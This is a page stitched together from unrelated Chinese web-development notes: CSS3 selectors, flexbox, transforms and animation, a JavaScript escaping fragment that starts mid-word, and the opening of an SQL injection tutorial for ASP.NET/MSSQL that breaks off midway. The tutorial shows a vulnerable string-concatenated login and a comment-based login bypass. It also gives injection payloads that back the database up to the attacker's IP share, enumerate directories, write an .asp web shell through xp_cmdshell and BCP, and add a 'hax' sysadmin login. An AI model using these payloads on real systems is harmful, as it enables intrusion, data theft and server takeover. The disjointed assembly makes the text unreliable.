<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
</ul> –>
<!– 3.快速生成标记内容
标记.class名>子标记名称*个数
ul.uls>li*6>a+span –>
css3选择器
一、基本选择器
1.通配符
*{margin:0; padding:0;}
2.元素选择符（标签选择器）
h1{color:red;}
3.class选择器（类选择器）
.box{background:blue;}
4.id选择器
#wraper{color:black;}
5.群组选择器
ol,ul{list-style:none;}
二、层次选择器（关系选择器）
1.E F (后代选择器或包含选择器)
匹配E元素下所有子元素F
eg: .box a{color:red;}
匹配.box下所有子元素a
2.E>F (子代选择器)
匹配E元素下第一级子元素F
eg: .box>a{color:red;}
匹配.box下第一级子元素a
3.E+F 相邻兄弟选择器
匹配E元素后面紧邻的那个F元素(有且仅有一个)
eg: .box+h1{color:blue;}
匹配.box后面紧邻的那一个h1
4.E~F 通用兄弟选择器
匹配E元素后面所有的F元素(有可能匹配到多个)
eg: .box~h1{color:blue;}
匹配.box后面所有的h1元素
三、动态伪类选择器
1.E:link 没有被访问过的状态
2.E:visited 访问过后的状态
3.E:hover 滑过时的状态
4.E:active 鼠标按下时的状态
5.E:focus 光标聚焦到input框时的状态
四、结构性伪类选择器
1. :first-child 匹配每个父元素下第一个子元素
eg: .box a:first-child{color:red;}
匹配.box下第一个子元素a(此时，a必须是.box下的第一个子元素)
eg: .box :first-child{color:red;}
匹配.box下每个父元素下的第一个子元素
注： :first-child 《=》 :nth-child(1)
都是匹配父元素下的第一个子元素
2. :last-child 匹配每个父元素下最后一个子元素
eg: .box a:last-child{color:blue;}
匹配.box下最后一个子元素a(此时，a必须是.box下最后一个子元素)
eg: .box :last-child{color:blue;}
匹配.box下每个父元素下的最后一个子元素
注： :last-child 《=》 :nth-last-child(1)
都是匹配父元素下的最后一个子元素
3. :nth-child(n) 匹配父元素下的第n个子元素
eg: .box :nth-child(3){color:red;}
匹配.box下每个父元素下的第三个子元素
4. :nth-child(2n) 匹配父元素下的第偶数个子元素
eg: .tab tr:nth-child(2n){background:red;}
匹配.tab下第偶数个tr
注： :nth-child(2n) 《=》 :nth-child(even)
5. :nth-child(2n+1) 匹配父元素下第奇数个子元素
eg: .tab tr:nth-child(2n+1){background:blue;}
匹配.tab下第奇数个tr
注： :nth-child(2n+1) 《=》 :nth-child(odd)
6. :nth-last-child(n) 匹配父元素下倒着数第n个子元素
eg: .tab tr:nth-last-child(3){color:red;}
匹配.tab下倒数第三个子元素tr
——————————————————-
7. :first-of-type 匹配父元素下指定类型的第一个子元素
eg: .uls li:first-of-type{background:pink;}
匹配.uls下li这种类型的第一个子元素
注： :first-of-type 《=》 :nth-of-type(1)
都是匹配父元素下指定类型的第一个子元素
8. :last-of-type 匹配父元素下指定类型的最后一个子元素
eg: .uls li:last-of-type{background:yellow;}
匹配.uls下li这种类型的最后一个子元素
注：:last-of-type 《=》 nth-last-of-type(1)
都是匹配父元素下指定类型的最后一个子元素
9. :nth-of-type(n) 匹配父元素下指定类型的第n个子元素
eg: .uls li:nth-of-type(3){background:blue;}
匹配.uls下li这种类型的第3个子元素
10. :nth-last-of-type(n) 匹配父元素下指定类型的倒数第n个子元素
eg: .uls li:nth-last-of-type(3){background:orange;}
匹配.uls下li这种类型的倒数第三个子元素
——————————————————-
11. :only-child 匹配父元素下唯一一个子元素
12. :only-of-type 匹配父元素下指定类型的唯一一个子元素
13. :empty 匹配内容为空的元素(空格，回车换行都不能有)
14. :root 匹配根元素html
四、UI状态伪类选择器（主要针对form表单元素）
1. E:checked 匹配选中状态的单选或复选按钮
eg: input:checked+label{color:red;}
匹配选中状态的input控件后面紧邻的那个label标签
2. E:enabled 匹配启用状态的表单元素
eg: input:enabled{border:1px solid red;}
3. E:disabled 匹配禁用状态的表单元素
eg: input:disabled{background:gray;}
五、目标伪类选择器
语法： E:target 匹配锚点链接连接到的那个元素
eg: p:target{display:block;}
当锚点链接连接到p标签，应用display:block;
六、属性选择器
1. E[attr] 匹配含有attr属性的E元素
eg: a[title]{text-decoration:none;}
匹配含有title属性的a标签
2. E[attr=value] 匹配含有attr属性并且值为value的E元素
eg: a[title=前端]{color:black;}
匹配含有title属性并且值为前端的a标签
3. E[attr^=value] 匹配含有attr属性并且值以value开头的E元素
eg: a[href^=http]{font-size:12px;}
匹配含有href属性并且属性值以http开头的a标签
4. E[attr$=value] 匹配含有attr属性并且值以value结尾的E元素
eg: a[href$=com]{color:blue;}
匹配含有href属性并且属性值以com结尾的a标签
5. E[attr~=value] 匹配含有attr属性并且属性值列表中含有value这个词的E元素
eg: a[title~=培训]{color:red;}
匹配含有title属性，并且属性值列表中含有培训这个词的a标签
6. E[attr*=value] 匹配含有attr属性并且属性值列表中含有value这个字的E元素
eg: a[title*=培训]{color:yellow;}
匹配含有title属性，并且属性值列表中含有培训两个字的a标签
7. E[attr|=value] 匹配含有attr属性，并且值以value-开头或值为value的E元素
eg: a[class|=link]{color:blue;}
匹配含有class属性并且值以link-开头或值为link的a标签
七、否定伪类选择器
语法： E:not(F) 匹配不满足条件F的E元素
eg: li:not([class=lis]){color:red;}
匹配不满足条件class=lis的li元素
八、语言伪类选择器
语法： E:lang(val) 匹配指定了lang属性，并且值为val的E元素
九、伪元素
1. E:before 在E元素所有内容之前添加一个伪元素
eg: .box:before{
content:”hello”;
font-size:32px;
…
}
2. E:after 在E元素所有内容之后添加一个伪元素
eg: .box:after{
content:””;
display:block;
clear:both;
height:0;
overflow:hidden;
visibility:hidden;
}
注：:after常用于清除浮动
伪元素是一个内联元素
不管内容是否为空，都不能省略content
3. :first-line 匹配段落文本中的第一行
4. :first-letter 匹配段落文本中的第一个字符
5. ::selection 改变选中文字的效果
注：针对火狐内核的兼容写法如下：
p::-moz-selection{color:red;}
十、渐进增强和优雅降级
1.渐进增强
一开始就针对低版本浏览器进行构建页面，完成基本的功能，然后再针对高级浏览器进行效果、交互、追加功能达到更好的体验。
eg: .box{ /*渐进增强写法*/
-webkit-transition: all .5s;
-moz-transition: all .5s;
-o-transition: all .5s;
transition: all .5s;
}
2.优雅降级
一开始就构建站点的完整功能，然后针对浏览器测试和修复。比如一开始使用 CSS3 的特性构建了一个应用，然后逐步针对各大浏览器进行 hack 使其可以在低版本浏览器上正常浏览。
eg: .box{ /*优雅降级写法*/
transition: all .5s;
-webkit-transition: all .5s;
-moz-transition: all .5s;
-o-transition: all .5s;
}
注：css3属性针对不同内核的兼容写法：
对webkit内核 -webkit-
针对火狐内核 -moz-
针对opera内核 -o-
针对IE内核 -ms-
扩展：如何使用border实现三角的效果，方法如下：
元素{
width:0;
height:0;
border:3px solid transparent;
border-top-color:blue; /*top还可以根据需要更改为bottom,right,left*/
}
css3圆角，阴影
一、圆角
语法： border-radius:数值+单位;
1.设置一个值
border-radius:20px; 四个方向圆角都为20px
2.设置两个值
border-radius:50px 10px; 左上，右下为50px,右上，左下为10px
3.设置三个值
border-radius:50px 0px 10px; 左上为50px,右上和左下为0,右下为10px
4.设置四个值
border-radius:0px 10px 30px 60px; 顺时针方向依次为左上0，右上10，右下30，左下60
5.用/设置圆角
border-radius:50px/100px;
第一组值代表水平半径为50px,/后的第二组值代表垂直半径为100px
6.还可以单独设置某一个方向的圆角
border-top-left-radius:10px;
注：border-top-left-radius:20px 50px; 水平半径为20px,垂直半径为50px
7.设置为圆
border-radius:50%;
二、多色彩边框
语法： .box{-moz-border-top-colors:black red yellow;}
注：只有低版本的火狐浏览器支持
三、图像边框
1.设置图像边框的路径
语法：border-image-source:url(图片路径);
2.设置图像边框的裁剪位置
语法：border-image-slice:数值;
注：a)设置数值专指像素
b) 如何需要中间部分显示出来，需要添加fill
eg: border-image-slice:27 fill;
3.设置图像边框的平铺属性
语法：border-image-repeat:stretch|repeat|round;
a)stretch 默认值，图像被拉伸
b)repeat 图片默认平铺，当碰到边界时则会被截断
c)round 图片会根据边框的尺寸动态调整图片的大小直至正好可以铺满整个边框。
eg: border-image-repeat:round stretch;
代表水平方向铺满，垂直方向拉伸
四、文本阴影
语法： text-shadow:水平偏移量 垂直偏移量 模糊度 颜色值;
eg: text-shadow:5px 5px 3px black,8px 8px 5px #999;
注：a) 多组阴影的值用逗号分隔
b) 水平偏移量向右为正，向左为负，垂直偏移量向下为正，向上为负
c) 模糊度最小值为0，不允许设置负值
扩展：文字描边，语法如下：
-webkit-text-stroke:3px blue;
五、盒阴影
语法：box-shadow:水平偏移量 垂直偏移量 模糊度 扩展半径 颜色值;
eg: box-shadow:5px 5px 10px #333,8px 8px 12px #666;
注：盒阴影默认为外阴影，如果需要设置内阴影，写法如下：
eg: box-shadow:inset 3px 3px 5px #333,inset 5px 5px 8px #666;
注：当设置了扩展半径后，一般水平和垂直偏移量设置为0
eg: box-shadow:0px 0px 5px 10px red;
box-shadow:inset 0px 0px 5px 10px red;
css3弹性布局
一、分栏布局
1.设置栏数
语法： column-count:数值;
2.设置每栏的宽度
语法：column-width:数值+单位;
注：column-count和column-width设置其中一个属性即可
3.设置栏间距
语法：column-gap:数值+单位;
4.设置栏分隔线
语法：column-rule:宽度 solid|dashed|dotted 颜色;
eg: column-rule:3px dashed blue;
5.设置是否跨栏显示
语法：column-span:all(跨栏显示)|none(不跨栏显示);
注：该属性给需要跨栏显示的元素添加
二、弹性布局
语法：display:flex;
说明：
a) 当给元素设置了display:flex;该元素就成为了弹性盒
b) 当给父元素设置弹性盒后，子元素的float,clear,vertical-align将会失效
c) 我们把设置了display:flex;属性的元素叫做flex容器，把里面的子元素叫做flex项目
d) 当给元素设置了弹性盒以后，随之会产生两根轴线：主轴和交叉轴
◆ Flex容器属性
1.改变主轴的方向
语法：flex-direction:row|row-reverse|column|column-reverse;
row 默认值，主轴在水平方向，起点在左端
row-reverse 主轴在水平方向，起点在右端
column 主轴在垂直方向，起点在上沿
column-reverse 主轴在垂直方向，起点在下沿
2.设置flex项目是单行显示还是多行显示
语法：flex-wrap:nowrap|wrap|wrap-reverse;
nowrap 默认值，不换行
wrap 换行
wrap-reverse 与wrap相似，但是行的顺序是倒过来的
3.flex-direction和flex-wrap的简写方式
语法：flex-flow:row nowrap;
4.设置主轴对齐方式
语法：justify-content:flex-start|flex-end|center|space-between|space-around;
flex-start 类似于左浮动
flex-end 类似于右浮动
center flex项目居中对齐
space-between flex项目两端对齐，中间间隔相等
space-around flex项目两侧间隔相等
5.设置交叉轴对齐方式
语法：align-items:flex-start|flex-end|center|baseline|stretch;
flex-start 对齐交叉轴的起点
flex-end 对齐交叉轴的终点
center 以交叉轴为参考，居中对齐
baseline flex项目第一行文字基线对齐
stretch flex项目没有设置高度或者为auto，将占满整个父元素的高度
———————————————–
★ 如何使用flex布局实现不定宽高的元素在屏幕窗口水平垂直都居中，方法如下：
html,body{height:100%;}
body{display:flex;justify-content:center;align-items:center;}
★ 如何使用flex布局实现不定宽高的子元素在父元素中水平垂直都居中，方法如下：
父元素{display:flex;justify-content:center;align-items:center;}
———————————————–
6.设置多根轴线对齐方式(如果只有一根轴线，该属性不起作用)
语法：align-content:flex-start|flex-end|center|space-between|space-around|stretch;
flex-start 对齐交叉轴的起点
flex-end 对齐交叉轴的终点
center 以交叉轴为参考，居中对齐
space-between 轴线两端对齐，中间间隔相等
space-around 轴线间两侧间隔相等
stretch flex项目没有设置高度或者高度为auto，将占满整个父元素的高度
◆ Flex项目属性
1.改变flex项目排列顺序
语法：order:0|数值;
注：默认值为0,值越小越靠前
2.设置某个flex项目不同于其他flex项目的交叉轴对齐方式
语法：align-self:flex-start|flex-end|center|baseline|stretch;
注：属性值的使用方法同align-items属性
3.设置flex项目的放大比例
语法：flex-grow:0|数值;
注：flex-grow默认值为0即使存在剩余空间也不放大
4.设置flex项目的缩小比例
语法：flex-shrink:1|数值;
注：flex-shrink默认值为1,当flex容器剩余空间不足时，flex项目等比例缩小
注：flex-shrink:0; 即使flex容器空间不足，flex项目也不缩小
5.设置flex项目占据主轴的空间
语法：flex-basis:数值+单位;
注：flex-basis默认值为auto
6.flex-grow,flex-shrink,flex-basis的简写方式
语法：flex:0 1 auto; (默认值)
注：flex:1; 完整写法：flex:1 1 0%;
主要应用在两个方面：
a) 等比例分配空间
b) 将剩余空间分配给某个元素
三、响应式布局
概念—写一套css样式可以应用在多个终端设备
优点：可以同时适配多个终端，灵活性更强
缺点：工作量增加，会造成代码冗余，加载时间加长
原理：媒体查询
四、媒体查询
1.外联式媒体查询
语法：
<link rel=”stylesheet” media=”screen and (min-width:960px)” href=”blue.css”/>
<link rel=”stylesheet” media=”screen and (max-width:960px)” href=”red.css”/>
注：当屏幕窗口大于等于960px时，引用blue.css文件
当屏幕窗口小于等于960px时，引用red.css文件
2.内嵌式媒体查询
语法：
@media screen and (min-width:320px) and (max-width:960px){
body{
background:red;
}
}
注：当屏幕窗口大于等于320px,小于等于960px时，body背景色为红色
标准盒模型和怪异盒模型
一、标准盒模型和怪异盒模型
标准盒模型是由content,padding,border,margin四部分组成
怪异盒模型是由content,margin组成
标准盒模型的总宽度=width+左右padding+左右border+左右margin
标准盒模型的总高度=height+上下padding+上下border+上下margin
怪异盒模型的总宽度=width+左右margin
怪异盒模型的总高度=height+上下margin
注：当网页没有添加文档声明时，就会触发某些浏览器(如IE6)的怪异模式
二、box-sizing常用属性值有哪些及其含义？
1.box-sizing:border-box;
将标准盒模型转换为怪异盒模型，总宽高不包括padding和border
2.box-sizing:content-box;
将怪异盒模型转换为标准盒模型，总宽高包含padding和border
———————————————–
扩展：如何自定义字体
语法： @font-face{
font-family:字体名称;
src:url(字体文件路径);
}
body{
font-family:字体名称;
}
css3移动端布局
一、移动端相关概念
1.屏幕尺寸
屏幕尺寸是指屏幕对角线的长度，单位为英寸，1英寸=2.54厘米
2.屏幕分辨率
屏幕分辨率是指横纵方向上的像素点数，单位为px，1个像素点=1px
(这里的1px是指物理设备上的一个像素点)
常见移动端设备屏幕分辨率：
iphone6,6s,7,8 1334*750
iponee6plus,7plus,8plus 1920*1080
注：移动端设备一般为 纵向像素*横向像素
3.ppi
屏幕每英寸可以显示的像素点数，即屏幕像素密度，单位为ppi
计算公式：
4.dpr
dpr是devicePixelRatio的简写，指物理像素与逻辑像素的比值
物理像素：屏幕分辨率
逻辑像素：写在css文件中的像素值，即要显示在设备上的像素值
常见设备dpr值：
iphone6,7,8 dpr=2
iphone6plus,7plus,8plus dpr=3
5.移动端meta设置
<meta name=”viewport” content=”width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0″>
注：让视图窗口的宽度等于设备的宽度
快捷键：meta:vp+tab键
二、常见移动端布局方案
1.百分比布局(流式布局)
特点：文字流式，控件弹性，图片等比例缩放
顶部和底部的bar不管分辨率怎么变，高度和位置都不变
案例：拉勾网
注：适用于内容较少比较简单的移动端页面
2.等比例缩放布局(rem布局)
特点：使用rem为主要单位进行页面布局，很好的实现了在不同设备上页面等比例缩放
案例：网易
注：适用于页面内容较多较复杂的移动端页面
3.混合布局
特点：混合布局是指将多种布局方式(如flex布局，圣杯布局，百分比布局等)融合在一起实现移动端的屏幕适配的方法
案例：淘宝网
三、移动端相关单位
1.px
像素，相对于屏幕分辨率而言
2.em
相对于父元素字体大小放大或缩小多少倍
1em = 16px
3.rem
相对于根元素字体大小放大或缩小多少倍
4.vw
vw是viewport width的缩写，即视图窗口的宽度
1vw = 视窗宽度的1%
vh是指视图窗口的高度
vmin是vw和vh中较小值
vmax是vw和vh中较大值
css3基础变形
一、css3基础变形
语法： transform:rotate(旋转)|scale(缩放)|skew(倾斜)|translate(位移);
1.旋转(rotate)
a) rotateX(180deg) 沿x轴翻转 等价于 rotate3d(1,0,0,180deg)
b) rotateY(180deg) 沿y轴翻转 等价于 rotate3d(0,1,0,180deg)
c) rotateZ(180deg) 沿z轴翻转 等价于 rotate3d(0,0,1,180deg)
d) rotate(60deg) 不指定轴时，是2d空间的旋转，正值为顺时针，负值为逆时针
注：rotate旋转的单位是deg
2.缩放(scale)
a) scaleX(1.5) 沿x轴缩放，默认值为1，不放大不缩小，大于1为放大，小于1为缩小
b) scaleY(1.5) 沿y轴缩放
c) scale(1.5) 沿x轴和y轴同时缩放
d) scale(-1.5) 先翻转后缩放
3.倾斜(skew)
a) skewX(30deg) 沿x轴倾斜
b) skewY(-30deg) 沿y轴倾斜
c) skew(30deg) 不指定轴时，默认沿x轴倾斜
d) skew(30deg,30deg) x轴和y轴同时倾斜
skewX(30deg) skewY(30deg) x轴和y轴同时倾斜
注：两种写法倾斜效果不同
skew倾斜单位为deg
4.位移(translate)
a) translateX(100px) 沿x轴位移，向右为正，向左为负
b) translateY(-100px) 沿y轴位移，向下为正，向上为负
c) translateZ(100px) 沿z轴位移，向前为正，向后为负
d) translate(100px) 不指定轴时，默认沿x轴位移
e) translate(100px,100px) x轴和y轴同时位移
translateX(100px) translateY(100px)x轴和y轴同时位移
◆ 使用变形实现不定宽高元素在屏幕窗口水平垂直都居中，方法如下：
元素{
position:fixed;
top:50%;
left:50%;
transform:translate(-50%,-50%);
}
◆ 使用变形实现不定宽高的子元素在父元素中水平垂直都居中，方法如下：
父元素{
position:relative;
}
子元素{
position:absolute;
left:50%;
top:50%;
transform:translateX(-50%) translateY(-50%);
}
二、变形综合
当多种变形方式综合在一起时，顺序不同，效果有可能不同，例如：
eg1: transform:rotate(360deg) scale(1.5);
transform:scale(1.5) rotate(360deg);
顺序不同，效果相同
eg2: transform:translateX(300px) rotate(360deg);
transform:rotate(360deg) translateX(300px);
顺序不同，效果不同
三、改变变形元素中心点位置
语法：transform-origin:left|center|right top|center|bottom;
四、设置元素的变形类型
语法：transform-style:flat(默认值)|preserve-3d;
flat 默认值，2d空间的变形
preserve-3d 3d空间的变形
五、透视，井深
语法：perspective:数值+单位;
eg: 父元素{perspective:1500px;}
eg: 子元素{transform:perspective(800px) rotateY(60deg);}
注：perspective主要用来设置元素3d效果的强度
transition过渡动画
一、transition过渡动画
语法：transition:过渡属性 过渡时间 过渡方式 过渡延迟时间;
eg: transition:all 1s;
1.transition-property(过渡属性)
取值：
none 没有属性发生过渡
all 所有发生变化的属性都添加过渡动画
ident 指定发生过渡的属性列表
eg: transition:transform 1s,background 2s,border-radius 3s;
2.transition-duration(过渡时间)
取值：
0 不执行过渡，直接看到结果
time 指定过渡时间，单位为s
3.transition-delay(过渡延迟时间)
取值：
0 不延迟，直接执行过渡动画
正值 按照设定的时间延迟执行过渡动画
负值 设定时间前的动画将会被截断
4.transition-timing-function(过渡方式)
取值：
ease 默认值
linear 匀速运动
ease-in 加速运动
ease-out 减速运动
ease-in-out 慢-快-慢
二、animation动画
☆ 动画关键帧
语法： @keyframes 动画名称{
0%{
属性:属性值;
}
50%{
属性:属性值;
}
…
100%{
属性:属性值;
}
}
@keyframes 动画名称{
from{
属性:属性值;
}
50%{
属性:属性值;
}
…
to{
属性:属性值;
}
}
———————————————–
语法： animation:动画名称 动画执行时间 动画延迟执行时间 动画播放次数 动画播放状态;
1.animation-name(动画名称)
eg: animation:box_ani 1s;
注：此处的动画名称要和@keyframes中的动画名称一致
2.animation-duration(动画执行一次所需时间)
取值：
0 动画不执行
time 正数，单位为s或者ms
3.animation-delay(动画延迟执行时间)
取值：
0 不延迟，动画立即执行
正数 按照设定的时间延迟执行动画
负数 设定时间前的动画将会被截断
4.animation-iteration-count(动画播放次数)
取值：
number 自定义动画执行次数，设置值可为0或正整数
infinite 无限循环播放
5.animation-play-state(设置对象动画的状态)
取值：
running 默认值，运动
paused 动画暂停
6.animation-timing-function(对象动画过渡类型)
取值：
ease
linear 匀速运动
ease-in
ease-out
ease-in-out
step-start 马上转跳到动画结束状态，或者转跳到下一帧，中间没有过渡
step-end 保持动画开始时的状态，直到动画结束时，马上转跳到动画结束状态
steps(n,start|end) n代表动画分几步完成
7. animation-direction(设置对象动画运动的方向)
取值：
normal 默认值，正常方向运动
reverse 与normal运动方向始终相反
alternate 正反方向交替运动，奇数次正方向，偶数次反方向
alternate-reverse 奇数次反方向，偶数次正方向
8.animation-fill-mode (设置对象动画时间之外的状态)
取值：
none 默认值，不设置时间之外的状态
forwards 保持动画结束时的状态
backwards 保持动画开始时的状态
both 动画遵循forwards和backwards两个规则
扩展：
隐藏翻转元素的背面，语法如下：backface-visibility:hidden;
css3背景，渐变，蒙版
一、背景切割
语法：background-clip:border-box|padding-box|content-box;
作用：设置背景在哪个区域可见
border-box 默认值.背景在边框已经边框以内的区域可见
padding-box 背景在padding区域和content区域可见
content-box 背景在content区域可见
二、背景原点
语法：background-origin:border-box|padding-box|content-box;
作用：设置背景图原点的定位区域
padding-box 默认值，背景原点从padding区域开始
border-box 背景原点从border区域开始
content-box 背景原点从content区域开始
三、背景切割&背景原点
可以将背景切割和背景原点结合使用
eg: background-clip:content-box;
background-origin:border-box;
背景原点从border区域开始，背景在content区域可见
四、背景尺寸
语法：background-size:数值|100%|cover|contain;
1.length
该数值用来设置背景图的宽度和高度，第一个值代表宽度，第二个值代表高度，如果省略第二个值，为auto,等比例缩放
eg: background-size:100px 200px; (背景图有可能发生变形)
background-size:100px; (背景图有可能超出容器,不会发生变形)
2.百分比
以容器的百分比来设置背景图的宽度和高度
eg: background-size:100% 100%;(背景图不会超出容器，但是背景图有可能发生变形)
background-size:100%;(背景图有可能超出容器，但是背景图不会发生变形)
3.cover
把背景图像扩展至足够大，以使背景图像完全覆盖背景区域。背景图像有可能超出容器，背景图不会发生变形
eg: background-size:cover;
4.contain
把图像扩展至最大尺寸，以使宽度和高度 完全适应内容区域。背景图像始终被包含在容器内,背景图不会发生变形
五、rgba模式
语法： background:rgba(r,g,b,a); a代表透明度，取值范围0~1
eg: background:rgba(0,0,0,.4);
注：rgba模式和opacity的区别：
a) 给容器添加opacity,容器中的文字和图片也会跟随透明
b) rgba模式只是给容器的背景添加一定的透明度，容器中的文本和图片不会跟随透明
———————————————–
扩展：hsla模式
语法： background:hsla(h,s,l,a);
h 色调，取值范围0~360
s 饱和度，取值范围0%~100%
l 亮度，取值范围0%~100%
a 透明度，取值范围0~1
———————————————-
六、线性渐变
语法： background:linear-gradient(渐变方向,颜色 起始位置,颜色 起始位置);
eg: background:linear-gradient(to right,red 0%,yellow 30%,blue 50%);
注：重复的线性渐变写法如下：
background:repeating-linear-gradient(to right,red 0%,yellow 15%,blue 25%);
注：设置重复的线性渐变，必须指定渐变的位置
七、径向渐变
语法：background:-webkit-radial-gradient(渐变中心点位置,渐变形状 渐变半径长度,颜色 起始位置,颜色 起始位置);
eg: background:-webkit-radial-gradient(left top,circle closest-side,red 0%,yellow 10%);
注：重复的径向渐变写法：
background:-webkit-repeating-radial-gradient(center,red 0%,yellow 10%);
注：设置重复的径向渐变，必须指定渐变的位置
———————————————–
扩展一 蒙版
语法： -webkit-mask-image:url(图片路径)|使用渐变作为蒙版图片; -webkit-mask-repeat:no-repeat|repeat-x|repeat-y|repeat;
-webkit-mask-position:center;
扩展二 背景在文字区域可见
语法： -webkit-background-clip:text;
注：设置此属性需要将文字颜色设置为透明，即 color:transparent;
扩展三：倒影
语法： -webkit-box-reflect:left|right|above(上)|below(下) 偏移量 倒影渐变;
———————————————–
八、BFC
1.概念
BFC——block formatting context (块级格式化上下文)
2.如何触发BFC
a) 设置了float除none以外的值(left,right)
b) 设置了overflow除visible以外的值(hidden,scroll,auto)
c) 设置了display属性(table-cell,inline-block,flex)
d) 设置position属性(absolute,fixed)
3.BFC的作用
a) 解决上下margin重叠问题
给设置margin的元素外边再嵌套一个父元素，并设置overflow:hidden;这样就给里面的元素创建了一个块级格式化上下文
b) 常用来清除浮动，解决高度塌陷问题
给父元素设置overflow:hidden;就给里面浮动的子元素创建了一个块级格式化上下文，闭合了浮动
c) 用于实现多栏布局
与浮动元素相邻的已生成BFC的元素不能与浮动元素互相覆盖。利用该特性可以作为多栏布局的一种实现方式
义符:一般都是在字符串中的字符才需要转义
1)JS中需要转义符的情况
1.1路径中的反斜杠 比如 c:\b\a.txt;在JS中不能使用@符号进行转义
1.2常见转义符比如 \t,\n,\’,\”,\
1.3 在正则表达式中
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>JavaScript</title>
<script type="text/javascript">
//转义字符串中文件路径中的\
var a1 ='c:\\b\\a.txt';
alert(a1);
//转义字符串中的单引号
var a2 ="c'b'a"; //第一种方式
var a3='c\'b\'a'; //第二种方式
alert(a2);
alert(a3);
//转义字符串中的双引号
var a4='a"b';//第一种方式
var a5="a\"b";//第二种方式
alert(a4);
alert(a5);
//其他的不再举例说明
</script>
</head>
<body>
</body>
</html>2)JS中的等于(==)与全等于(===)
JS中的等于只要变量值相同即可;全等于需要值与类型全部相同
使用等于判断两个变量是否相同,忽略了数据类型(不严谨),推荐使用全等于
3)JS中的选择循环语句
if-else,switch; for,while,do-while,continue,break的用法与C#中几乎一样
for循环与C#中不同的点是:js中声明变量使用的是var(let等暂时忽略);C#中一般使用int
switch中的判断条件使用的也是全等于
switch语句
业开始从事winform到今年转到 web ，在码农届已经足足混了快接近3年了，但是对安全方面的知识依旧薄弱，事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下，希望大家多多提意见。
（对于sql注入的攻防，我只用过简单拼接字符串的注入及参数化查询，可以说没什么好经验，为避免后知后觉地犯下大错，专门查看大量前辈们的心得，这方面的资料颇多，将其精简出自己觉得重要的，就成了该文）
下面的程序方案是采用 ASP.NET + MSSQL，其他技术在设置上会有少许不同。
示例程序下载：SQL注入攻防入门详解_示例
什么是SQL注入（SQL Injection）
所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击。
尝尝SQL注入
1. 一个简单的登录页面
关键代码：（详细见下载的示例代码）
private bool NoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是没有经过任何处理，直接拿前端传入的数据，这样拼接的SQL会存在注入漏洞。（账户：admin 123456）
1) 输入正常数据，效果如图：
合并的SQL为：
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 输入注入数据：
如图，即用户名为：用户名：admin’—，密码可随便输入
合并的SQL为：
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符，后面语句被省略而登录成功。（常常的手法：前面加上'; ' (分号，用于结束前一条语句)，后边加上'--' (用于注释后边的语句)）
2. 上面是最简单的一种SQL注入，常见的注入语句还有：
1) 猜测数据库名，备份数据库
a) 猜测数据库名： and db_name() >0 或系统表master.dbo.sysdatabases
b) 备份数据库：;backup database 数据库名 to disk = ‘c:\*.db’;--
或：declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
2) 猜解字段名称
a) 拆解法：and (select count(字段名) from 表名)>0 若“字段名”存在，则返回正常
b) 读取法：and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5，6…就可以得到所有的字段名称。
3) 遍历系统的目录结构，分析结构并发现WEB虚拟目录（服务器上传木马）
先创建一个临时表：;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （实验成功）
d) 利用 bcp 命令将表内容导成文件
即插入木马文本，然后导出存为文件。比如导出为asp文件，然后通过浏览器访问该文件并执行恶意脚本。（使用该命令必须启动’ xp_cmdshell’）
Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'
(注意：语句中使用的是双引号，另外表名格式为“数据库名.用户名.表名”)
在sql查询器中通过语句：Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数，如图：
4) 查询当前用户的数据库权限
MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
5) 设置新的数据库帐户（得到MSSQL管理员账户）
d) 在数据库内添加一个hax用户，默认密码是空的
;exec sp_addlogin'hax';--
e) 给hax设置密码 (null是旧密码，password是新密码，user是用户名)
;exec master.dbo.sp_password null,password,username;--
f) 将hax添加到sysadmin组
;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存储过程（得到 WINDOWS管理员账户 ）
通过(5)获取到sysadmin权限的帐户后，使用查询分析器连接到数据库，可通过xp_cmdshell运行系统命令行（必须是sysadmin权限），即使用 cmd.exe 工具，可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户，并开启远程登录服务：
a) 判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
